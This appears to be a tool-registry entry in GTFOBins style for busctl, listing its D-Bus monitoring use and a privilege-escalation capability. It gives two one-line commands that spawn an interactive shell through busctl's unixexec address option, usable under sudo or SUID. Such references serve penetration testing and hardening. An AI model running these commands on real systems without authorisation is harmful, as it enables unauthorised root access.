system enabled community medium v1.0.0

busctl

Introspect and monitor the D-Bus bus, can spawn shells via address parameter or inherit less capabilities.

📋 Live Preview
busctl
busctl

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell
system.file.read

Contract

Inputs

security.execution.context

Sudo, SUID, or unprivileged execution context

Outputs

process.output

Shell or file content output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

security.execution.context

Resource Profile

ResourceValue
CPUlow
Memory8 MB
Networknone
Disk I/Olow

Examples

Spawn a shell via busctl address option

busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'

Spawn a shell via busctl set-property

busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'

References